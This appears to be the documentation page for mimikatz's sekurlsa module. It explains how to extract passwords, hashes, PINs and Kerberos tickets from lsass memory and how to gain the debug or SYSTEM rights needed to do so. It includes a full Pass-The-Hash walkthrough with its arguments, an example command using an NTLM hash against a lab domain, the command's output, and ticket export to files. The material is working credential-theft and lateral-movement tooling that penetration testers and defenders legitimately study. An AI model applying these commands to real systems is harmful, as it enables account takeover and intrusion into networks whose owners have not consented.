module ~ sekurlsa

This module extracts passwords, keys, pin codes, tickets from the memory of lsass (Local Security Authority Subsystem Service)
the process by default, or a minidump of it! (see: howto ~ get passwords by memory dump for minidump or other dumps instructions)

When working with lsass process, mimikatz needs some rights, choice:

Administrator, to get debug privilege via privilege::debug
SYSTEM account, via post exploitation tools, scheduled tasks, psexec -s ... - in this case debug privilege is not needed.

Without rights to access lsass process, all commands will fail with an error like this: ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005) (except when working with a minidump).

So, do not hesitate to start with:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # log sekurlsa.log
Using 'sekurlsa.log' for logfile : OK

...before others commands 😉

The information that can be extracted depends on the version of Windows and authentication methods: [en] http://1drv.ms/1fCWkhu

Commands: logonpasswords, pth, tickets, ekeys, dpapi, minidump, process, searchpasswords, msv, wdigest, kerberos, tspkg, livessp, ssp, credman

Pass-The-Hash

mimikatz can perform the well-known operation 'Pass-The-Hash' to run a process under another credentials with NTLM hash of the user's password, instead of its real password.

For this, it starts a process with a fake identity, then replaces fake information (NTLM hash of the fake password) with real information (NTLM hash of the real password).

Arguments:

/user - the username you want to impersonate, keep in mind that Administrator is not the only name for this well-known account.
/domain - the domain name - without domain or in case of local user/admin, use computer or server name, workgroup or whatever.
/ntlm - the NTLM hash of the user's password
/run - optional - the command line to run - default is: cmd to have a shell.

mimikatz # sekurlsa::pth /user:utilisateur /domain:chocolate.local /ntlm:8e3a18d453ec2450c321003772d678d5 /run:"cmd /k dir \\win81.chocolate.local\test\flag.txt"
user    : utilisateur
domain  : chocolate.local
NTLM    : 8e3a18d453ec2450c321003772d678d5
Program : cmd /k dir \\win81.chocolate.local\test\flag.txt
  |  PID  1944
  |  TID  1952
  |  LUID 0 ; 1279102 (00000000:0013847e)
  \_ Data copy MSV1_0   @ 00000000002708A0 : OK !
  \_ Data copy Kerberos @ 00000000002D1F78 (7 hash) : 18->23 17->23 23 -133 -128 24 -135 OK!

Remarks:

This command does not work with minidumps (nonsense);
it requires elevated privileges (privilege::debug or SYSTEM account), unlike 'Pass-The-Ticket' which uses one official API.

Pass-The-Ticket: kerberos::ptt
Golden Ticket: kerberos::golden

tickets

This command lists, and can export in files, Kerberos tickets.

*Arguments:

/export - optional - tickets are exported in .kirbi files. They start with LUID and group number (0 = TGS, 1 = client ticket(?) and 2 = TGT)
